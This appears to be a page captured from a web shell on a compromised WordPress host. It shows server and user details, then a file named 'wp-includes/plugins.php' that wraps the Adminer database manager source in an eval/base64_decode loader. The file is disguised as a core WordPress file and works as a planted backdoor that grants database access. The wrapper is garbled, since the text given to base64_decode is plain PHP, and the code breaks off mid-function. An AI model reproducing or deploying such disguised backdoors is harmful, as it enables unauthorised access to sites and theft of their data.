HEX
Server: Apache
System: Linux linuxhost20.itools.mn 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: greenin1 (1074)
PHP: 7.2.34
Disabled: NONE
$ pwd: /home/greenin1/public_html/wp-includes/
Upload Files
File: /home/greenin1/public_html/wp-includes/plugins.php
<?=eval("?>".base64_decode("<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license https://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license https://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 5.3.0
*/namespace
Adminer;const
VERSION="5.3.0";error_reporting(24575);set_error_handler(function($Dc,$Fc){return!!preg_match('~^Undefined (array key|offset|index)~',$Fc);},E_WARNING|E_NOTICE);$ad=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($ad||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$oj=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($oj)$$X=$oj;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");function
connection($g=null){return($g?:Db::$instance);}function
adminer(){return
Adminer::$instance;}function
driver(){return
Driver::$instance;}function
connect(){$Fb=adminer()->credentials();$J=Driver::connect($Fb[0],$Fb[1],$Fb[2]);return(is_object($J)?$J:null);}function
idf_unescape($u){if(!preg_match('~^[`\'"[]~',$u))return$u;$He=substr($u,-1);return
str_replace($He.$He,$He,substr($u,1,-1));}function
q($Q){return
connection()->quote($Q);}function
escape_string($X){return
substr(q($X),1,-1);}function
idx($va,$x,$k=null){return($va&&array_key_exists($x,$va)?$va[$x]:$k);}function
number($X){return
preg_replace('~[^0-9]+~','',$X);}function
number_type(){return'((?<!o)int(?!er)|numeric|real|float|double|decimal|money)';}function
remove_slashes(array$Wg,$ad=false){if(function_exists("get_magic_quotes_gpc")&&get_magic_quotes_gpc()){while(list($x,$X)=each($Wg)){foreach($X
as$_e=>$W){unset($Wg[$x][$_e]);if(is_array($W)){$Wg[$x][stripslashes($_e)]=$W;$Wg[]=&$Wg[$x][stripslashes($_e)];}else$Wg[$x][stripslashes($_e)]=($ad?$W:stripslashes($W));}}}}function
bracket_escape($u,$Ca=false){static$Xi=array(':'=>':1',']'=>':2','['=>':3','"'=>':4');return
strtr($u,($Ca?array_flip($Xi):$Xi));}function
min_version($Ej,$Ve="",$g=null){$g=connection($g);$Qh=$g->server_info;if($Ve&&preg_match('~([\d.]+)-MariaDB~',$Qh,$A)){$Qh=$A[1];$Ej=$Ve;}return$Ej&&version_compare($Qh,$Ej)>=0;}function
charset(Db$f){return(min_version("5.5.3",0,$f)?"utf8mb4":"utf8");}function
ini_bool($je){$X=ini_get($je);return(preg_match('~^(on|true|yes)$~i',$X)||(int)$X);}function
sid(){static$J;if($J===null)$J=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));return$J;}function
set_password($Dj,$N,$V,$F){$_SESSION["pwds"][$Dj][$N][$V]=($_COOKIE["adminer_key"]&&is_string($F)?array(encrypt_string($F,$_COOKIE["adminer_key"])):$F);}function
get_password(){$J=get_session("pwds");if(is_array($J))$J=($_COOKIE["adminer_key"]?decrypt_string($J[0],$_COOKIE["adminer_key"]):false);return$J;}function
get_val($H,$m=0,$tb=null){$tb=connection($tb);$I=$tb->query($H);if(!is_object($I))return
false;$K=$I->fetch_row();return($K?$K[$m]:false);}function
get_vals($H,$d=0){$J=array();$I=connection()->query($H);if(is_object($I)){while($K=$I->fetch_row())$J[]=$K[$d];}return$J;}function
get_key_vals($H,$g=null,$Th=true){$g=connection($g);$J=array();$I=$g->query($H);if(is_object($I)){while($K=$I->fetch_row()){if($Th)$J[$K[0]]=$K[1];else$J[]=$K[0];}}return$J;}function
get_rows($H,$g=null,$l="<p class='error'>"){$tb=connection($g);$J=array();$I=$tb->query($H);if(is_object($I)){while($K=$I->fetch_assoc())$J[]=$K;}elseif(!$I&&!$g&&$l&&(defined('Adminer\PAGE_HEADER')||$l=="-- "))echo$l.error()."\n";return$J;}function
unique_array($K,array$w){foreach($w
as$v){if(preg_match("~PRIMARY|UNIQUE~",$v["type"])){$J=array();foreach($v["columns"]as$x){if(!isset($K[$x]))continue
2;$J[$x]=$K[$x];}return$J;}}}function
escape_key($x){if(preg_match('(^([\w(]+)('.str_replace("_",".*",preg_quote(idf_escape("_"))).')([ \w)]+)$)',$x,$A))return$A[1].idf_escape(idf_unescape($A[2])).$A[3];return
idf_escape($x);}function
where(array$Z,array$n=array()){$J=array();foreach((array)$Z["where"]as$x=>$X){$x=bracket_escape($x,true);$d=escape_key($x);$m=idx($n,$x,array());$Yc=$m["type"];$J[]=$d.(JUSH=="sql"&&$Yc=="json"?" = CAST(".q($X)." AS JSON)":(JUSH=="sql"&&is_numeric($X)&&preg_match('~\.~',$X)?" LIKE ".q($X):(JUSH=="mssql"&&strpos($Yc,"datetime")===false?" LIKE ".q(preg_replace('~[_%[]~','[\0]',$X)):" = ".unconvert_field($m,q($X)))));if(JUSH=="sql"&&preg_match('~char|text~',$Yc)&&preg_match("~[^ -@]~",$X))$J[]="$d = ".q($X)." COLLATE ".charset(connection())."_bin";}foreach((array)$Z["null"]as$x)$J[]=escape_key($x)." IS NULL";return
implode(" AND ",$J);}function
where_check($X,array$n=array()){parse_str($X,$Wa);remove_slashes(array(&$Wa));return
where($Wa,$n);}function
where_link($s,$d,$Y,$Tf="="){return"&where%5B$s%5D%5Bcol%5D=".urlencode($d)."&where%5B$s%5D%5Bop%5D=".urlencode(($Y!==null?$Tf:"IS NULL"))."&where%5B$s%5D%5Bval%5D=".urlencode($Y);}function
convert_fields(array$e,array$n,array$M=array()){$J="";foreach($e
as$x=>$X){if($M&&!in_array(idf_escape($x),$M))continue;$wa=convert_field($n[$x]);if($wa)$J
.=", $wa AS ".idf_escape($x);}return$J;}function
cookie($B,$Y,$Oe=2592000){header("Set-Cookie: $B=".urlencode($Y).($Oe?"; expires=".gmdate("D, d M Y H:i:s",time()+$Oe)." GMT":"")."; path=".preg_replace('~\?.*~','',$_SERVER["REQUEST_URI"]).(HTTPS?"; secure":"")."; HttpOnly; SameSite=lax",false);}function
get_settings($Bb){parse_str($_COOKIE[$Bb],$Uh);return$Uh;}function
get_setting($x,$Bb="adminer_settings"){$Uh=get_settings($Bb);return$Uh[$x];}function
save_settings(array$Uh,$Bb="adminer_settings"){$Y=http_build_query($Uh+get_settings($Bb));cookie($Bb,$Y);$_COOKIE[$Bb]=$Y;}function
restart_session(){if(!ini_bool("session.use_cookies")&&(!function_exists('session_status')||session_status()==1))session_start();}function
stop_session($id=false){$wj=ini_bool("session.use_cookies");if(!$wj||$id){session_write_close();if($wj&&@ini_set("session.use_cookies",'0')===false)session_start();}}function&get_session($x){return$_SESSION[$x][DRIVER][SERVER][$_GET["username"]];}function
set_session($x,$X){$_SESSION[$x][DRIVER][SERVER][$_GET["username"]]=$X;}function
auth_url($Dj,$N,$V,$j=null){$sj=remove_from_uri(implode("|",array_keys(SqlDriver::$drivers))."|username|ext|".($j!==null?"db|":"").($Dj=='mssql'||$Dj=='pgsql'?"":"ns|").session_name());preg_match('~([^?]*)\??(.*)~',$sj,$A);return"$A[1]?".(sid()?SID."&":"").($Dj!="server"||$N!=""?urlencode($Dj)."=".urlencode($N)."&":"").($_GET["ext"]?"ext=".urlencode($_GET["ext"])."&":"")."username=".urlencode($V).($j!=""?"&db=".urlencode($j):"").($A[2]?"&$A[2]":"");}function
is_ajax(){return($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");}function
redirect($Re,$if=null){if($if!==null){restart_session();$_SESSION["messages"][preg_replace('~^[^?]*~','',($Re!==null?$Re:$_SERVER["REQUEST_URI"]))][]=$if;}if($Re!==null){if($Re=="")$Re=".";header("Location: $Re");exit;}}function
query_redirect($H,$Re,$if,$fh=true,$Kc=true,$Tc=false,$Ki=""){if($Kc){$ji=microtime(true);$Tc=!connection()->query($H);$Ki=format_time($ji);}$di=($H?adminer()->messageQuery($H,$Ki,$Tc):"");if($Tc){adminer()->error
.=error().$di.script("messagesPrint();")."<br>";return
false;}if($fh)redirect($Re,$if.$di);return
true;}class
Queries{static$queries=array();static$start=0;}function
queries($H){if(!Queries::$start)Queries::$start=microtime(true);Queries::$queries[]=(preg_match('~;$~',$H)?"DELIMITER ;;\n$H;\nDELIMITER ":$H).";";return
connection()->query($H);}function
apply_queries($H,array$T,$Gc='Adminer\table'){foreach($T
as$R){if(!queries("$H ".$Gc($R)))return
false;}return
true;}function
queries_redirect($Re,$if,$fh){$ah=implode("\n",Queries::$queries);$Ki=format_time(Queries::$start);return
query_redirect($ah,$Re,$if,$fh,false,!$fh,$Ki);}function
format_time($ji){return
sprintf('%.3f s',max(0,microtime(true)-$ji));}function
relative_uri(){return
str_replace(":","%3a",preg_replace('~^[^?]*/([^?]*)~','\1',$_SERVER["REQUEST_URI"]));}function
remove_from_uri($qg=""){return
substr(preg_replace("~(?<=[?&])($qg".(SID?"":"|".session_name()).")=[^&]*&~",'',relative_uri()."&"),0,-1);}function
get_file($x,$Rb=false,$Xb=""){$Zc=$_FILES[$x];if(!$Zc)return
null;foreach($Zc
as$x=>$X)$Zc[$x]=(array)$X;$J='';foreach($Zc["error"]as$x=>$l){if($l)return$l;$B=$Zc["name"][$x];$Si=$Zc["tmp_name"][$x];$yb=file_get_contents($Rb&&preg_match('~\.gz$~',$B)?"compress.zlib://$Si":$Si);if($Rb){$ji=substr($yb,0,3);if(function_exists("iconv")&&preg_match("~^\xFE\xFF|^\xFF\xFE~",$ji))$yb=iconv("utf-16","utf-8",$yb);elseif($ji=="\xEF\xBB\xBF")$yb=substr($yb,3);}$J
.=$yb;if($Xb)$J
.=(preg_match("($Xb\\s*\$)",$yb)?"":$Xb)."\n\n";}return$J;}function
upload_error($l){$df=($l==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);return($l?'Unable to upload a file.'.($df?" ".sprintf('Maximum allowed file size is %sB.',$df):""):'File does not exist.');}function
repeat_pattern($Cg,$y){return
str_repeat("$Cg{0,65535}",$y/65535)."$Cg{0,".($y%65535)."}";}function
is_utf8($X){return(preg_match('~~u',$X)&&!preg_match('~[\0-\x8\xB\xC\xE-\x1F]~',$X));}function
format_number($X){return
strtr(number_format($X,0,".",','),preg_split('~~u','0123456789',-1,PREG_SPLIT_NO_EMPTY));}function
friendly_url($X){return
preg_replace('~\W~i','-',$X);}function
table_status1($R,$Uc=false){$J=table_status($R,$Uc);return($J?reset($J):array("Name"=>$R));}function
column_foreign_keys($R){$J=array();foreach(adminer()->foreignKeys($R)as$p){foreach($p["source"]as$X)$J[$X][]=$p;}return$J;}function
fields_from_edit(){$J=array();foreach((array)$_POST["field_keys"]as$x=>$X){if($X!=""){$X=bracket_escape($X);$_POST["function"][$X]=$_POST["field_funs"][$x];$_POST["fields"][$X]=$_POST["field_vals"][$x];}}foreach((array)$_POST["fields"]as$x=>$X){$B=bracket_escape($x,true);$J[$B]=array("field"=>$B,"privileges"=>array("insert"=>1,"update"=>1,"where"=>1,"order"=>1),"null"=>1,"auto_increment"=>($x==driver()->primary),);}return$J;}function
dump_headers($Qd,$sf=false){$J=adminer()->dumpHeaders($Qd,$sf);$mg=$_POST["output"];if($mg!="text")header("Content-Disposition: attachment; filename=".adminer()->dumpFilename($Qd).".$J".($mg!="file"&&preg_match('~^[0-9a-z]+$~',$mg)?".$mg":""));session_write_close();if(!ob_get_level())ob_start(null,4096);ob_flush();flush();return$J;}function
dump_csv(array$K){foreach($K
as$x=>$X){if(preg_match('~["\n,;\t]|^0|\.\d*0$~',$X)||$X==="")$K[$x]='"'.str_replace('"','""',$X).'"';}echo
implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"\t":";")),$K)."\r\n";}function
apply_sql_function($r,$d){return($r?($r=="unixepoch"?"DATETIME($d, '$r')":($r=="count distinct"?"COUNT(DISTINCT ":strtoupper("$r("))."$d)"):$d);}function
get_temp_dir(){$J=ini_get("upload_tmp_dir");if(!$J){if(function_exists('sys_get_temp_dir'))$J=sys_get_temp_dir();else{$o=@tempnam("","");if(!$o)return'';$J=dirname($o);unlink($o);}}return$J;}function
file_open_lock($o){if(is_link($o))return;$q=@fopen($o,"c+");if(!$q)return;chmod($o,0660);if(!flock($q,LOCK_EX)){fclose($q);return;}return$q;}function
file_write_unlock($q,$Lb){rewind($q);fwrite($q,$Lb);ftruncate($q,strlen($Lb));file_unlock($q);}function
file_unlock($q){flock($q,LOCK_UN);fclose($q);}function
first(array$va){return
reset($va);}function
password_file($h){$o=get_temp_dir()."/adminer.key";if(!$h&&!file_exists($o))return'';$q=file_open_lock($o);if(!$q)return'';$J=stream_get_contents($q);if(!$J){$J=rand_string();file_write_unlock($q,$J);}else
file_unlock($q);return$J;}function
rand_string(){return
md5(uniqid(strval(mt_rand()),true));}function
select_value($X,$_,array$m,$Ji){if(is_array($X)){$J="";foreach($X
as$_e=>$W)$J
.="<tr>".($X!=array_values($X)?"<th>".h($_e):"")."<td>".select_value($W,$_,$m,$Ji);return"<table>$J</table>";}if(!$_)$_=adminer()->selectLink($X,$m);if($_===null){if(is_mail($X))$_="mailto:$X";if(is_url($X))$_=$X;}$J=adminer()->editVal($X,$m);if($J!==null){if(!is_utf8($J))$J="\0";elseif($Ji!=""&&is_shortable($m))$J=shorten_utf8($J,max(0,+$Ji));else$J=h($J);}return
adminer()->selectVal($J,$_,$m,$X);}function
is_mail($uc){$xa='[-a-z0-9!#$%&\'*+/=?^_`{|}~]';$gc='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';$Cg="$xa+(\\.$xa+)*@($gc?\\.)+$gc";return
is_string($uc)&&preg_match("(^$Cg(,\\s*$Cg)*\$)i",$uc);}function
is_url($Q){$gc='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';return
preg_match("~^(https?)://($gc?\\.)+$gc(:\\d+)?(/.*)?(\\?.*)?(#.*)?\$~i",$Q);}function
is_shortable(array$m){return
preg_match('~char|text|json|lob|geometry|point|linestring|polygon|string|bytea~',$m["type"]);}function
count_rows($R,array$Z,$te,array$wd){$H=" FROM ".table($R).($Z?" WHERE ".implode(" AND ",$Z):"");return($te&&(JUSH=="sql"||count($wd)==1)?"SELECT COUNT(DISTINCT ".implode(", ",$wd).")$H":"SELECT COUNT(*)".($te?" FROM (SELECT 1$H GROUP BY ".implode(", ",$wd).") x":$H));}function
slow_query($H){$j=adminer()->database();$Li=adminer()->queryTimeout();$Yh=driver()->slowQuery($H,$Li);$g=null;if(!$Yh&&support("kill")){$g=connect();if($g&&($j==""||$g->select_db($j))){$Ce=get_val(connection_id(),0,$g);echo
script("const timeout = setTimeout(() => { ajax('".js_escape(ME)."script=kill', function () {}, 'kill=$Ce&token=".get_token()."'); }, 1000 * $Li);");}}ob_flush();flush();$J=@get_key_vals(($Yh?:$H),$g,false);if($g){echo
script("clearTimeout(timeout);");ob_flush();flush();}return$J;}function
get_token(){$dh=rand(1,1e6);return($dh^$_SESSION["token"]).":$dh";}function
verify_token(){list($Ti,$dh)=explode(":",$_POST["token"]);return($dh^$_SESSION["token"])==$Ti;}function
lzw_decompress($Ia){$cc=256;$Ja=8;$gb=array();$qh=0;$rh=0;for($s=0;$s<strlen($Ia);$s++){$qh=($qh<<8)+ord($Ia[$s]);$rh+=8;if($rh>=$Ja){$rh-=$Ja;$gb[]=$qh>>$rh;$qh&=(1<<$rh)-1;$cc++;if($cc>>$Ja)$Ja++;}}$bc=range("\0","\xFF");$J="";$Nj="";foreach($gb
as$s=>$fb){$tc=$bc[$fb];if(!isset($tc))$tc=$Nj.$Nj[0];$J
.=$tc;if($s)$bc[]=$Nj.$tc[0];$Nj=$tc;}return$J;}function
script($ai,$Wi="\n"){return"<script".nonce().">$ai</script>$Wi";}function
script_src($tj,$Ub=false){return"<script src='".h($tj)."'".nonce().($Ub?" defer":"")."></script>\n";}function
nonce(){return' nonce="'.get_nonce().'"';}function
input_hidden($B,$Y=""){return"<input type='hidden' name='".h($B)."' value='".h($Y)."'>\n";}function
input_token(){return
input_hidden("token",get_token());}function
target_blank(){return' target="_blank" rel="noreferrer noopener"';}function
h($Q){return
str_replace("\0","&#0;",htmlspecialchars($Q,ENT_QUOTES,'utf-8'));}function
nl_br($Q){return
str_replace("\n","<br>",$Q);}function
checkbox($B,$Y,$Za,$Ee="",$Sf="",$db="",$Ge=""){$J="<input type='checkbox' name='$B' value='".h($Y)."'".($Za?" checked":"").($Ge?" aria-labelledby='$Ge'":"").">".($Sf?script("qsl('input').onclick = function () { $Sf };",""):"");return($Ee!=""||$db?"<label".($db?" class='$db'":"").">$J".h($Ee)."</label>":$J);}function
optionlist($Xf,$Ih=null,$xj=false){$J="";foreach($Xf
as$_e=>$W){$Yf=array($_e=>$W);if(is_array($W)){$J
.='<optgroup label="'.h($_e).'">';$Yf=$W;}foreach($Yf
as$x=>$X)$J
.='<option'.($xj||is_string($x)?' value="'.h($x).'"':'').($Ih!==null&&($xj||is_string($x)?(string)$x:$X)===$Ih?' selected':'').'>'.h($X);if(is_array($W))$J
.='</optgroup>';}return$J;}function
html_select($B,array$Xf,$Y="",$Rf="",$Ge=""){static$Ee=0;$Fe="";if(!$Ge&&substr($Xf[""],0,1)=="("){$Ee++;$Ge="label-$Ee";$Fe="<option value='' id='$Ge'>".h($Xf[""]);unset($Xf[""]);}return"<select name='".h($B)."'".($Ge?" aria-labelledby='$Ge'":"").">".$Fe.optionlist($Xf,$Y)."</select>".($Rf?script("qsl('select').onchange = function () { $Rf };",""):"");}function
html_radios($B,array$Xf,$Y="",$Mh=""){$J="";foreach($Xf
as$x=>$X)$J
.="<label><input type='radio' name='".h($B)."' value='".h($x)."'".($x==$Y?" checked":"").">".h($X)."</label>$Mh";return$J;}function
confirm($if="",$Jh="qsl('input')"){return
script("$Jh.onclick = () => confirm('".($if?js_escape($if):'Are you sure?')."');","");}function
print_fieldset($t,$Me,$Hj=false){echo"<fieldset><legend>","<a href='#fieldset-$t'>$Me</a>",script("qsl('a').onclick = partial(toggle, 'fieldset-$t');",""),"</legend>","<div id='fieldset-$t'".($Hj?"":" class='hidden'").">\n";}function
bold($La,$db=""){return($La?" class='active $db'":($db?" class='$db'":""));}function
js_escape($Q){return
addcslashes($Q,"\r\n'\\/");}function
pagination($D,$Ib){return" ".($D==$Ib?$D+1:'<a href="'.h(remove_from_uri("page").($D?"&page=$D".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($D+1)."</a>");}function
hidden_fields(array$Wg,array$Ud=array(),$Og=''){$J=false;foreach($Wg
as$x=>$X){if(!in_array($x,$Ud)){if(is_array($X))hidden_fields($X,array(),$x);else{$J=true;echo
input_hidden(($Og?$Og."[$x]":$x),$X);}}}return$J;}function
hidden_fields_get(){echo(sid()?input_hidden(session_name(),session_id()):''),(SERVER!==null?input_hidden(DRIVER,SERVER):""),input_hidden("username",$_GET["username"]);}function
enum_input($U,$ya,array$m,$Y,$xc=null){preg_match_all("~'((?:[^']|'')*)'~",$m["length"],$Ye);$J=($xc!==null?"<label><input type='$U'$ya value='$xc'".((is_array($Y)?in_array($xc,$Y):$Y===$xc)?" checked":"")."><i>".'empty'."</i></label>":"");foreach($Ye[1]as$s=>$X){$X=stripcslashes(str_replace("''","'",$X));$Za=(is_array($Y)?in_array($X,$Y):$Y===$X);$J
.=" <label><input type='$U'$ya value='".h($X)."'".($Za?' checked':'').'>'.h(adminer()->editVal($X,$m)).'</label>';}return$J;}function
input(array$m,$Y,$r,$Ba=false){$B=h(bracket_escape($m["field"]));echo"<td class='function'>";if(is_array($Y)&&!$r){$Y=json_encode($Y,128|64|256);$r="json";}$ph=(JUSH=="mssql"&&$m["auto_increment"]);if($ph&&!$_POST["save"])$r=null;$rd=(isset($_GET["select"])||$ph?array("orig"=>'original'):array())+adminer()->editFunctions($m);$dc=stripos($m["default"],"GENERATED ALWAYS AS ")===0?" disabled=''":"";$ya=" name='fields[$B]'$dc".($Ba?" autofocus":"");$Cc=driver()->enumLength($m);if($Cc){$m["type"]="enum";$m["length"]=$Cc;}echo
driver()->unconvertFunction($m)." ";$R=$_GET["edit"]?:$_GET["select"];if($m["type"]=="enum")echo
h($rd[""])."<td>".adminer()->editInput($R,$m,$ya,$Y);else{$Dd=(in_array($r,$rd)||isset($rd[$r]));echo(count($rd)>1?"<select name='function[$B]'$dc>".optionlist($rd,$r===null||$Dd?$r:"")."</select>".on_help("event.target.value.replace(/^SQL\$/, '')",1).script("qsl('select').onchange = functionChange;",""):h(reset($rd))).'<td>';$le=adminer()->editInput($R,$m,$ya,$Y);if($le!="")echo$le;elseif(preg_match('~bool~',$m["type"]))echo"<input type='hidden'$ya value='0'>"."<input type='checkbox'".(preg_match('~^(1|t|true|y|yes|on)$~i',$Y)?" checked='checked'":"")."$ya value='1'>";elseif($m["type"]=="set"){preg_match_all("~'((?:[^']|'')*)'~",$m["length"],$Ye);foreach($Ye[1]as$s=>$X){$X=stripcslashes(str_replace("''","'",$X));$Za=in_array($X,explode(",",$Y),true);echo" <label><input type='checkbox' name='fields[$B][$s]' value='".h($X)."'".($Za?' checked':'').">".h(adminer()->editVal($X,$m)).'</label>';}}elseif(preg_match('~blob|bytea|raw|file~',$m["type"])&&ini_bool("file_uploads"))echo"<input type='file' name='fields-$B'>";elseif($r=="json"||preg_match('~^jsonb?$~',$m["type"]))echo"<textarea$ya cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';elseif(($Hi=preg_match('~text|lob|memo~i',$m["type"]))||preg_match("~\n~",$Y)){if($Hi&&JUSH!="sqlite")$ya
.=" cols='50' rows='12'";else{$L=min(12,substr_count($Y,"\n")+1);$ya
.=" cols='30' rows='$L'";}echo"<textarea$ya>".h($Y).'</textarea>';}else{$ij=driver()->types();$ff=(!preg_match('~int~',$m["type"])&&preg_match('~^(\d+)(,(\d+))?$~',$m["length"],$A)?((preg_match("~binary~",$m["type"])?2:1)*$A[1]+($A[3]?1:0)+($A[2]&&!$m["unsigned"]?1:0)):($ij[$m["type"]]?$ij[$m["type"]]+($m["unsigned"]?0:1):0));if(JUSH=='sql'&&min_version(5.6)&&preg_match('~time~',$m["type"]))$ff+=7;echo"<input".((!$Dd||$r==="")&&preg_match('~(?<!o)int(?!er)~',$m["type"])&&!preg_match('~\[\]~',$m["full_type"])?" type='number'":"")." value='".h($Y)."'".($ff?" data-maxlength='$ff'":"").(preg_match('~char|binary~',$m["type"])&&$ff>20?" size='".($ff>99?60:40)."'":"")."$ya>";}echo
adminer()->editHint($R,$m,$Y);$bd=0;foreach($rd
as$x=>$X){if($x===""||!$X)break;$bd++;}if($bd&&count($rd)>1)echo
script("qsl('td').oninput = partial(skipOriginal, $bd);");}}function
process_input(array$m){if(stripos($m["default"],"GENERATED ALWAYS AS ")===0)return;$u=bracket_escape($m["field"]);$r=idx($_POST["function"],$u);$Y=$_POST["fields"][$u];if($m["type"]=="enum"||driver()->enumLength($m)){if($Y==-1)return
false;if($Y=="")return"NULL";}if($m["auto_increment"]&&$Y=="")return
null;if($r=="orig")return(preg_match('~^CURRENT_TIMESTAMP~i',$m["on_update"])?idf_escape($m["field"]):false);if($r=="NULL")return"NULL";if($m["type"]=="set")$Y=implode(",",(array)$Y);if($r=="json"){$r="";$Y=json_decode($Y,true);if(!is_array($Y))return
false;return$Y;}if(preg_match('~blob|bytea|raw|file~',$m["type"])&&ini_bool("file_uploads")){$Zc=get_file("fields-$u");if(!is_string($Zc))return
false;return
driver()->quoteBinary($Zc);}return
adminer()->processInput($m,$Y,$r);}function
search_tables(){$_GET["where"][0]["val"]=$_POST["query"];$Lh="<ul>\n";foreach(table_status('',true)as$R=>$S){$B=adminer()->tableName($S);if(isset($S["Engine"])&&$B!=""&&(!$_POST["tables"]||in_array($R,$_POST["tables"]))){$I=connection()->query("SELECT".limit("1 FROM ".table($R)," WHERE ".implode(" AND ",adminer()->selectSearchProcess(fields($R),array())),1));if(!$I||$I->fetch_row()){$Sg="<a href='".h(ME."select=".urlencode($R)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$B</a>";echo"$Lh<li>".($I?$Sg:"<p class='error'>$Sg: ".error())."\n";$Lh="";}}}echo($Lh?"<p class='message'>".'No tables.':"</ul>")."\n";}function
on_help($mb,$Wh=0){return
script("mixin(qsl('select, input'), {onmouseover: function (event) { helpMouseover.call(this, event, $mb, $Wh) }, onmouseout: helpMouseout});","");}function
edit_form($R,array$n,$K,$rj,$l=''){$vi=adminer()->tableName(table_status1($R,true));page_header(($rj?'Edit':'Insert'),$l,array("select"=>array($R,$vi)),$vi);adminer()->editRowPrint($R,$n,$K,$rj);if($K===false){echo"<p class='error'>".'No rows.'."\n";return;}echo"<form action='' method='post' enctype='multipart/form-data' id='form'>\n";if(!$n)echo"<p class='error'>".'You have no privileges to update this table.'."\n";else{echo"<table class='layout'>".script("qsl('table').onkeydown = editingKeydown;");$Ba=!$_POST;foreach($n
as$B=>$m){echo"<tr><th>".adminer()->fieldName($m);$k=idx($_GET["set"],bracket_escape($B));if($k===null){$k=$m["default"];if($m["type"]=="bit"&&preg_match("~^b'([01]*)'\$~",$k,$mh))$k=$mh[1];if(JUSH=="sql"&&preg_match('~binary~',$m["type"]))$k=bin2hex($k);}$Y=($K!==null?($K[$B]!=""&&JUSH=="sql"&&preg_match("~enum|set~",$m["type"])&&is_array($K[$B])?implode(",",$K[$B]):(is_bool($K[$B])?+$K[$B]:$K[$B])):(!$rj&&$m["auto_increment"]?"":(isset($_GET["select"])?false:$k)));if(!$_POST["save"]&&is_string($Y))$Y=adminer()->editVal($Y,$m);$r=($_POST["save"]?idx($_POST["function"],$B,""):($rj&&preg_match('~^CURRENT_TIMESTAMP~i',$m["on_update"])?"now":($Y===false?null:($Y!==null?'':'NULL'))));if(!$_POST&&!$rj&&$Y==$m["default"]&&preg_match('~^[\w.]+\(~',$Y))$r="SQL";if(preg_match("~time~",$m["type"])&&preg_match('~^CURRENT_TIMESTAMP~i',$Y)){$Y="";$r="now";}if($m["type"]=="uuid"&&$Y=="uuid()"){$Y="";$r="uuid";}if($Ba!==false)$Ba=($m["auto_increment"]||$r=="now"||$r=="uuid"?null:true);input($m,$Y,$r,$Ba);if($Ba)$Ba=false;echo"\n";}if(!support("table")&&!fields($R))echo"<tr>"."<th><input name='field_keys[]'>".script("qsl('input').oninput = fieldChange;")."<td class='function'>".html_select("field_funs[]",adminer()->editFunctions(array("null"=>isset($_GET["select"]))))."<td><input name='field_vals[]'>"."\n";echo"</table>\n";}echo"<p>\n";if($n){echo"<input type='submit' value='".'Save'."'>\n";if(!isset($_GET["select"]))echo"<input type='submit' name='insert' value='".($rj?'Save and continue edit':'Save and insert next')."' title='Ctrl+Shift+Enter'>\n",($rj?script("qsl('input').onclick = function () { return !ajaxForm(this.form, '".'Saving'."Ã¢â‚¬Â¦', this); };"):"");}echo($rj?"<input type='submit' name='delete' value='".'Delete'."'>".confirm()."\n":"");if(isset($_GET["select"]))hidden_fields(array("check"=>(array)$_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));echo
input_hidden("referer",(isset($_POST["referer"])?$_POST["referer"]:$_SERVER["HTTP_REFERER"])),input_hidden("save",1),input_token(),"</form>\n";}function
shorten_utf8($Q,$y=80,$pi=""){if(!preg_match("(^(".repeat_pattern("[\t\r\n -\x{10FFFF}]",$y).")($)?)u",$Q,$A))preg_match("(^(".repeat_pattern("[\t\r\n -~]",$y).")($)?)",$Q,$A);return
h($A[1]).$pi.(isset($A[2])?"":"<i>Ã¢â‚¬Â¦</i>");}function
icon($Pd,$B,$Od,$Ni){return"<button type='submit' name='$B' title='".h($Ni)."' class='icon icon-$Pd'><span>$Od</span></button>";}if(isset($_GET["file"])){if(substr(VERSION,-4)!='-dev'){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: immutable");}@ini_set("zlib.output_compression",'1');if($_GET["file"]=="default.css"){header("Content-Type: text/css; charset=utf-8");echo
